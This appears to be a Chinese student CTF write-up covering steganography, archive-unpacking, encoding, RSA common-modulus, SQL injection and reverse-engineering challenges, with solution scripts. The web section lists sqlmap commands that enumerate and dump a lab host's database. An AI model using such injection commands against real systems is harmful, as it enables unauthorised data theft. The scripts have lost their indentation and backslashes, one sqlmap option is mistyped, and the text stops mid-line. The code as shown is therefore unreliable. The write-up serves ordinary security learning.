From LB@10.0.0.55
Misc
0x01 misc100(图片隐写)
首先用binwalk扫了一下，发现没毛病。
然后就搜了一下jpg的文件尾FFD9，如下图，看到了png格式的标志IHDR。
于是将FFD9以前的部分删除，补全PNG文件头8950 4e47 0d0a 1a0a得到一张新的图片，看上去是全白的，毫无内容。但是打开提示图片出错，于是想到是宽高和CRC不匹配导致的。
分析一波png格式可以知道，
CRC = 0x9A768270，width = 0x0320，height = 0x012C
爆破高度，脚本如下：
# -*- coding: utf-8 -*-
import binascii
import struct
#x49x48x44x52x00x00x03x20x00x00x01x2Cx08x06x00x00x00
crc32key = 0x9A768270
width = 'x00x00x03x20'
for i in range(256, 65535):
height = struct.pack('>i', i)
#CRC: 9A768270
data = 'x49x48x44x52' + width + height + 'x08x06x00x00x00'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print ''.join(map(lambda c: "%02X" % ord(c), height))
得到高度为0x0258，修改得到flag{python&C_master_can_be_my_girlfriend}。
0x02 misc200(python解压)
一看题目描述就知道是要解压800次压缩包，一开始给的文件是Gzip格式，但之后的都是tar，所以为了方便手动解压一次，然后脚本解压。
# -*- coding:utf-8 -*-
__Author__ = "LB@10.0.0.55"
import tarfile
dstPath = ''
tar = tarfile.open("800.tar","r")
now = tar.getnames()[0]
tar.extractall(dstPath)
while now != 'flag':
tar = tarfile.open(now,"r")
now = tar.getnames()[0]
tar.extractall(dstPath)
得到flag{for_i_in_{800..0};do_tar_xzvf_$i;done_&&_cat_flag}
Crypto
0x03 crypto100(bacon密码)
首先看到佛曰于是到该网站解密http://keyfc.net/bbs/tools/tudoucode.aspx
得到js颜文字，试了好几个浏览器的console都不太好使，最后用的360。
得到好多flag（滑稽），将Flag转为1，flag转为0，发现字符串长度为85，是5的倍数，在M4x学长的提示知道是bacon密码,将1转为a，0转为b解密。
附上脚本
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import re
alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
first_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","babaa","babab","babba","babbb","bbaaa","bbaab"]
second_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","baabb","babaa","babab","babba","babbb"]
def encode():
string = raw_input("please input string to encode:
")
e_string1 = ""
e_string2 = ""
for index in string:
for i in range(0,26):
if index == alphabet[i]:
e_string1 += first_cipher[i]
e_string2 += second_cipher[i]
break
print "first encode method result is:
"+e_string1
print "second encode method result is:
"+e_string2
return
def decode():
e_string = raw_input("please input string to decode:
")
e_array = re.findall(".{5}",e_string)
d_string1 = ""
d_string2 = ""
for index in e_array:
for i in range(0,26):
if index == first_cipher[i]:
d_string1 += alphabet[i]
if index == second_cipher[i]:
d_string2 += alphabet[i]
print "first decode method result is:
"+d_string1
print "second decode method result is:
"+d_string2
return
if __name__ == '__main__':
while True:
print " *******Bacon Encode_Decode System*******"
print "input should be lowercase,cipher just include a b"
print "1.encode
2.decode
3.exit"
s_number = raw_input("please input number to choose
")
if s_number == "1":
encode()
raw_input()
elif s_number == "2":
decode()
raw_input()
elif s_number == "3":
break
else:
continue
得到flag{interestingcoding}
0x04 crypto200
这题就是把flag经过四个函数加密，并且每一次把要加密的函数的序号告诉你，让你逆回去，附上脚本。
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import random
import string
'''大小写字母前后颠倒'''
def rot13(s):
return s.translate(string.maketrans(
string.uppercase[13:] + string.uppercase[:13] +
string.lowercase[13:] + string.lowercase[:13],
string.uppercase + string.lowercase))
'''base64编码'''
def base64(s):
return ''.join(s.decode('base64').split())
def hex(s):
return s.decode('hex')
'''大写转小写，小写转大写'''
def upsidedown(s):
return s.translate(string.maketrans(
string.lowercase + string.uppercase,
string.uppercase + string.lowercase))
flag = open('flag1.txt','r').read() # try to recover flag
E = (rot13, base64, hex, upsidedown)
while flag[0:4] != 'FLAG':
print flag[0]
flag = E[int(flag[0])](flag[1:])
print flag
#FLAG{KEEP CLAM AND DECODE!}
0x05 crypto300
这是我入坑CTF搞的第一道RSA，abo居然就弄这么难....
这题的加密简单来说就是 c = pow( flag , e , n )
每次的c和e都不同，但n是固定的，这是关键。熟悉rsa的就知道是共模攻击。
脚本如下：
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from libnum import n2s
import sys
sys.setrecursionlimit(1000000)
e = [1619455979,
2218655053,
2835180841,
3071798573,
3875439793,
361506967,
1578333451,
2921677883,
3932969143,
364263283,
3513149351,
3517079837,
696665539,
3335742701,
3157525687,
1113728801,
3628966093,
2111846309,
3650543653,
2507103857,
2151201433,
2470127773,
4167499013,
2990751161,
734964331,
3662407867,
2133375229,
4283967859,
3533655011,
1930522169,
1808434097,
786604957]
c = [
198715253333205140309304762885934618229717196308890027603141480980731775107348360929691664611310937503978870900195082805430374783694030256080622016431713424487244772527324022843322914415619245021182421250854444440781360638422051666613839841944782322487338599765894102041338732574012668931813897325660246967869476602808909797162902701210216869359928429288791785452635316367779426533481308013371557355393449986658731108747490355528775172926959308658280174940152832432165736439293418874425734751782857925497662265002591513393372683454767087602379380052747936562618483274958688907439693149445829031530613277130701096166928779898938460841793137793772824993304228003993183930879792632492470483669825399423456797908143494111020418710988346835166212243585055863746810963626606308385913688254166416633006118130890757463652637792926528161963258064305876815498055545713830360972308419832086946998782649756845607923863281939402203454937273620038072346575381808812583095514453536737347381024233365706099989443504975149420539758813461360142987773976973719344200937932368445461807527624932180387123416910068146569630371506530698264164327834638083283167886159722591510801422331956288691109442923649046533833838586468844563801643083794278525900495947,
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119597610400986655822748572704247160378749552140098666928979665264352720818579965218203320626127860188751883851507578788065047673189983865835303769775101052499540654461042578201405519943996655527927432568654121760073883806453560861412045716194359736699664767884153078465566809833379155293675288703558671757572338310811999195499103033933734679490388916618604105253896846501640165766038127605992328516824323561115674741493527578312594272314928734192093252013744776261287377198018059078558877785775180939902670067435362751038547231529527427975202766312364429001266619686629513264874607760353705341075814117498519838829449186475803266347511493093314057394082489334887343697910896126310949379471459274042525273353403965336165896693907451549846915056438525918415860197888166717287251444261156004764238342963446234247692469498495955457564116860046366742203315665220665037378159590091437908369005410113691477805221553491636083039365118757769686187936678492833394541653919831671511456367239093688699015813189744150485962930092183879539404340397488297025103118503268756654960309659736211970446077705669626938922221364040400393261629370608819228139523239965135482093076186223217504520152284433685278728975596909313536355577774263112332303417495,
265574716051316652373725915733039581360767478007355677208862790546517266814175228876617557382345636366171230412704359342480196502313557124468742854845964639446615527297260078648078832479103552945529397702811023160856474548170758601177096109033782738037854491266583450360057709374656043727486579041008033644960633110898088737506337306079170039463060539284596680722984122668138506733044092213040264632377310912338859702542201713722801597383547642873074492695342282229531323404501606329685024697934105397704767634756177550830606943821292323641847550305418002116264481396685159729754699038021974112119007961857750927260165005343668997258556777073319104480913767351824955116406515961360656545696150590230824767818234392390066882108180249123134338522252881513320605843865719891943828694525610308593134095595257601277250095512971878092015641527416283394136605995411555481682062437646304056218813717773853653311982771914013794119770057681075974288994080040296298258197242260030794068770624750073528558655854468311973894900709010410153531963242536694053354460114740002987242912781569628039930451836710678384012266839237618091540990808712674561108617003652864432706686878854194926471413467364273879858306496164438558301944586872526314416436729,
257667709179960565944044186328492807367738944135954847043605212764382832704757417360761494394149259840075003740123177174052228149358818514203318778266531647701104357387731055756642198126158958674918656487262909369809914501090650615710024067892619098640605942423968925529478919228743137244828126157060713277649697565482870319712888771313525525182830544055741056836393661562890441668986775895006750523792997339303390948664379529154621139345761900668182063951765110476182353216412567939479399320617131606239757733838523720350373176371339447546395986226892159729052340263386251815711541426822349762794032005866548317927624214525949088057509495079716595991505466968675343424597967673057981998734607517767663217527777638265694675122968753070313353040479767444588078033182806074868813869650641232713145513611510749341250677135573366310245748508309797568504000893478018992172460072619223216653635059951104765676764262595981718889922618080559279031811463058767163081769501678854750143361230077375266855233524076932053758373299691299836495350858918208667028246552871796016959655328175575388893735202161506889843014300945258983774626428997566550594494105875649585794513909094813481276224437504997908838620440906093212995482890227864482686834190,
141579078248164659336314755581790903129574621785358563404942411832889027612518922843077970313356872708098314876455664277990196359617817343236077780212015726412928497676188115163774425127257561524759706739351055688734989106910467383489150219987041734129315089771609862587179278245998068815418125510778312870401717524959523295014404581149020609122748331349429079925933323418453487827441318667072736406784251846857542799307229563231965689979783481385754192295886669016685545205684049931676515786025123174165776550919656736011753349387875532858914921711407231535957028349182156745115357812608116460300955036029308789535332310917278417257879838400347134132981052282345463764939221065515453883650245991245545685969711331067221340811732118637757477963778774485295938537922318864147098619709636523127851393096174348180584740385495516284017265910448932749623752764252436217250309282113783674781819617117916630265873332129233493942838698537073854211679225599251713850721233668205932087328733513482266425252897096107405838046582457798073440382115284490583075914757656607262849908944027495332015319876753722106977136926354917615739139981712007899956187118822108254300985908728199221729789688355343771714240411144340267691701000569325726600849649,
100706408600125958616560572969447827645492723488680357656944023034538399739316039131511477608424396497504985240518087192341820691309156040173557865161644246030172330845283424397215880348164966399708147484312750461404633620074609510464879736103557969890573629561160496655513618078575574876229586969874915231783440308567697145631208720344817421966156995138024092630329839287981598622829909387496628107522882200612218007935276132288274430206492765043241442366305051357638881722993325504047488900922765366750296035408266424784898424797984918023953193141080617185404158286012068338980093238675383805104814208262220830765204980423273644054614406928753102312502957833868665255709495324999928347484830705882190875038302242159653038677668867695323597848591059767659509170440587343493256508581654455583570681313263289251311969820219946594908769937861909315550223427011196699072141411379931011418416261779511960573911524828019281347396350021592585079371291958989676277950146799107026783446505009215546211243848528990957997259499246021533330488818276943755176641351178947109131074473022313793500525109820926744484848784134455150133347892072036463192078208878984078430050509613362109163470776308853520413494134553520788527165210643113647810496589,
34981384963513076131815472417122245538702789105068221306406727134142930389099428734862694311891228943413212773580114035909562314727781382456014126977818591791289322161963910147483887147052734863940798811502259154628821952700508344620639373437401790884889282919618376779256551828163526573817923243825583451077106224979603217533158277439450241815036457407984580829814025545136980910922892003662836265953193789401675519824453471609823818847330469695357182000796330070038832658418239151887948372131409243514410202596006641703003800685022996642179931329903540845838747865543922540401107486050758928770312566891112859509042558439421819189496977968600766901852596844884584827569574626719419532811668716516566045998056095248077840438584050045411076171369092407022214298278762884213237055585696381071190037564171344508596607067261872983909821105836157242634728458025327055623584965336446710828322609239195998699220816907795139019191499619780142983355297036976617749892226678047108234595124205089865678969515847549155589234025623787336452042816526192405144678899068125774503480629327594356672643117594907235787375069550300836157431308302810943631514521871487875048253747113673958632796475832959056980579822649368226846879825974200976217747711,
188052094573847895353443320101089422934009131511529914800621614889788360489366471014123356068611198436697265642592293438705994280157306755884434062062555897511192911655239912153534425989299815208675196566032489735017173324076268762358113558056588800463694316565281293458626724990449052985584065412267469173963344249026868295925099424637989404141395171480552192659475169492358789922397020410091812256339808139462101037579234818856906786078038004664178348113440160944322490909275995079859736003538861596009947731545923593644074147368603681156913766728849710930897391029520805799170297886035901560720354328801121497942830908897754247093158260715205760336479187352697750548402948926497391262820687181715070225267242781902784881771464965393190091137489807008274170341235018754058708227100521968172472112614024139542148511672090369883055579159150483280047859702113107069145063822076366273741380409559992255810745696026776486789590172676214880183878484309493691587076438455831627777180085114681329695154592837738419276373038438057280459032389795579950086647929180500039243858004612454114104246030389853209524293515867117230877055093292994625394623641233130738307203919315766183207018528307978536002563526915382765707550766239470376319281766,
128047209934897531165640656545265432129228051499097668497556366047958398065650411415679178667994874801183211387584263049558783155175767687238376471410239080112711124265070494253545550677338177794236101154236088426957326670769027325615443788437039101171236214635953405255678812319280348639618370940501270852396503437705371789757438962533876021667231464485728421299638562179997341138328236001424780696712571002135260148519500712362439953653944355027072979814788830783705112200297578557508118083350535342083589595675074346510002454672011201752131446376950924253272419491165736835235206925743817331628994100865143504378023136929659750340651101832064496348352350702376046323276094459942388685382675023183118530352161251133369180852304565111257183512362280542493945792038367777367723291187135549890852439777783176301668783316103120542108214839147707138832048275265262384660908753395891466112378941683412660508097841687284429004366956398803390383786848146420795723276245649798155000506076558805159575568899908133130199217912540344424722548254389192205850179860024715312937155216947617503102080404845966308161835985658840727036320930054409346586143429418685089236924314979718486219096656958761207121613200307960599376376751153525554473307533,
236287727526936694810272614094992980242721693535416926477097033811760002325696040571302711584071552745720524501838734075439505260610094846587110698104370198495320428150883330530044160000718797914162721813131650632467266182927745360511349952800464925619789167066211155698819974555700344338980538992034932465084971019831873882992648582934989970694430975806823718381360139028755494008423203828583616107737184645655736859398213587197019572454522219484310024799997736339888040163613687205738262173205164544103432867359560154903611417409457541590542527918521543456198452927014085894235180824290106779767373064882855272262764598999200526024748196964109545955911014514411069985137943312900718395378413386905365004870600311280657805336349804384633445491202708932616649956955563221525451663402197460448895914438981660613206778572540245823448678395024212618006658385681869524887968993186136893139648284248023600423783302922960152057751131805091718148469820246570202777551312460557159903033720353229268633850274480446367571935085859489343640899825688088579915166107493273469038622840562987271174949658137917542872593944900982943247999140438705810091160619797053905929385570893823862140353534583761732026051569066785734070136821001864045468123610]
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
#这里e和c的序号可以从32个里面选两个
e1 = e[1]
e2 = e[2]
s = egcd(e1,e2)
s1 = s[1]
s2 = s[2]
c1 = c[1]
c2 = c[2]
print(s)
n = 303552029739268787689421034809301542668363111985448197488656603423285809555016225763507821058977191376975609612314573787148430030014978401102426346290180457645094380918591576333426636173812372946449416193133967635136948329497046720932035699306242881374653629170574541376888732480402461582716866722983695803770299355842301744494399283912359159762979974274635961976611573875536934818825542925610132556421395122301055777262562802177229272506178634122630325492174876899080153722085540119976788604275939786645770106319848807686165366996569539304747120908823654505597519971616647713951114166662291810700501111018118275233410176961734636469348235124203204134145130577525538890279384881751619815307136021730662753639447139755612989914958460173737679972680019340240434795555887059008048980208310031478812591690215353375022942428110381458613385128108872115242768135293903468683608857300743326973147004626582751679482312050023468740515408350833053825882533336460567233765353505688832265072613475683680709995436584288121440632015107692526152295970809776420786093311436754175740811154244080248787476374748432605004090718808330731360388760195905565111121494331277093420237515276837204677350020884323188865761880255671146749130841857969707181931683
if s1 < 0:
s1 = -s1
c1 = modinv(c1,n)
if s2 < 0:
s2 = -s2
c2 = modinv(c2,n)
m = (pow(c1,s1,n)*pow(c2,s2,n)) % n
print(n2s(m))
print(pow(m,e1,n) == c1)
print(pow(m,e2,n) == c2)
#flag{RSA_is_a_popular_algorithm}
最后很迷的是算出来的m只符合一个，另一个是False。
在网上看了一个讲解还不错，附上网址http://bobao.360.cn/learning/detail/3058.html
Web
0x06 Sql50
最简单的sqlmap注入，当天晚上还在试手注，难受。
payload如下
py -2 sqlmap.py -u 10.4.21.55:10010?id=1
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 --dbs
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables =T Marinata --columns
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables =T Marinata --columns -C Hinata --dump
flag{Power_of_Ldy}
Re
0x07 re100
简单的逆向，当时主要是没把那个或当回事。。。没怎么见过或运算不太敏感。
逻辑关系：flag + 9 = ( (key&0xAA) >> 1 ) | ( 2 * (key&0x55) )
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [0x8F,0xAA,0x85,0xA0,0x48,0xAC,0x40,0x95,0xB6,0x16,0xBE,0x40,0xB4,0x16,0x97,0xB1,0xBE,0xBC,0x16,0xB1,0xBC,0x16,0x9D,0x95,0xBC,0x41,0x16,0x36,0x42,0x95,0x95,0x16,0x40,0xB1,0xBE,0xB2,0x16,0x36,0x42,0x3D,0x3D,0x49]
flag = ''
for i in range(len(a)):
flag += chr( (((a[i]&0xAA)>>1) | (2*(a[i]&0x55))) - 9 )
print(flag)
#FLAG{Swap two bits is easy 0xaa with 0x55}
0x08 re200
听说不能F5？！之后才知道可以像上次hctf一样修复。
方法一：修复F5
关键函数是check并且就是它不能f5，如下图
在红色的那一行点字母D，就可以了。
方法二：gdb直接跟到strcmp
由于最后有个比较函数，所以可以在strcmp处下断点，地址为0x4006B6，即check+112。
然后run，输入足够长的字符串后可以直接看到flag。
方法三：gdb一步一步跟。
可发现输入的字符串是经过异或1，2，4，6等从而和目标串匹配，从而写脚本得到flag。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [0x66,0x6E,0x65,0x61,0x73,0x42,0x6D,0x78,0x75,0x4D,0x61,0x49,0x6C,0x68,0x75,0x7B,0x44,0x7D,0x63,0x62,0x6A,0x15,0x51]
flag = ''
for i in range(len(a)):
flag += chr( a[i]^(2*i) )
print(flag)
#flag{Have_u_tried_GDB?}
0x09 re300(js加密混淆)
首先在网址http://matthewfl.com/unPacker.html格式化。得到
console.log((function()
{
if(typeof(require)=='undefined')return'(´・ω・`)';
var code=require('process').argv[2];
if(!code)return'(´・ω・`)';
String.prototype.zpad=function(l)
{
return this.length<l?'0'+this.zpad(l-1):this
};
function encrypt(data)
{
return'"'+(Array.prototype.slice.call(data).map((e)=>e.charCodeAt(0)).map((e)=>(e*0xb1+0x1b)&0xff).map((e)=>'\u'+e.toString(16).zpad(4))).join('')+'"'
}
var crypted="balabalabalayidachuan";
if(JSON.parse(encrypt(code))!=crypted)return'(´・ω・`)';
try
{
eval(code)
}
catch(e)
{
return'(´・ω・`)'
}
return'(*´∀`)~♥'
}
)())
关键代码在这：(e)=>(e*0xb1+0x1b)&0xff)
也就是说flag经过数乘加法，然后取低八位得到加密串。要想直接逆回去是不可能的，所以爆破。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [0xff,0xff,0xff,0x48,0x39,0x06,0x68,0xe6,0xff,0xff,0xff,0x48,0x26,0xca,0xca,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xff,0xff,0x35,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xca,0xca,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xff,0xca,0x35,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xca,0xff,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xff,0xff,0x35,0xc3,0x26,0x88,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xff,0xff,0xca,0xff,0x35,0xc3,0xff,0xff,0xff,0x06,0xff,0xff,0xff,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xca,0xff,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xff,0xca,0x35,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xff,0xca,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xca,0xca,0x35,0xc3,0x26,0x88,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xff,0xff,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xca,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xca,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x88,0xe6,0xff,0xff,0xff,0xe9,0xff,0xca,0x48,0xc3,0xff,0xff,0xff,0xe9,0xff,0xca,0x48,0xff,0xff,0xff,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0x68,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xca,0xff,0x48,0xff,0xff,0xff,0xe9,0xff,0xca,0x06,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0x68,0x74,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xff,0xff,0x48,0xc3,0xff,0xff,0xff,0xe9,0xff,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0x68,0x74,0xd6,0xc3,0xc3,0xec,0xff,0xff,0xff,0x74,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0x68,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xca,0xca,0x48,0xff,0xff,0xff,0xe9,0xff,0xca,0x06,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0x68,0x74,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xff,0x48,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0x68,0x74,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xca,0x48,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0x68,0x74,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0x68,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xe6,0xff,0xff,0xff,0xe9,0xff,0xff,0x48,0xff,0xff,0xff,0xe9,0xff,0xd6,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0x68,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xe6,0xff,0xff,0xff,0xe9,0xff,0x48,0xc3,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0x74,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0x68,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0x68,0xe6,0xff,0xff,0xff,0xe9,0xff,0xc3,0xff,0xff,0xff,0xe9,0xff,0xc3,0xff,0xff,0xff,0xe9,0xff,0xff,0xd6,0x9d,0xb7,0x9d,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0x68,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xca,0xd6,0x9d,0xe9,0x9d,0xd6,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0x68,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xd6,0x9d,0xc3,0xb7,0xb7,0xb7,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xd6,0x9d,0x26,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0x9d,0x88,0xb7,0xb7,0xb7,0x9d,0x74,0xe6,0x9d,0xd6,0x9d,0xb7,0x9d,0x9d,0x74,0xc3,0x74,0x74,0xc3,0x74,0xe6]
flag = []
for i in range(256):
for j in range(256):
if (( j*0xb1 + 0x1b )&0xff) == i:
flag.append(j)
break
flag1 = ''
for i in a:
flag1 += chr( flag[i] )
print(len(a),len(flag1))
print(flag1)
得到：
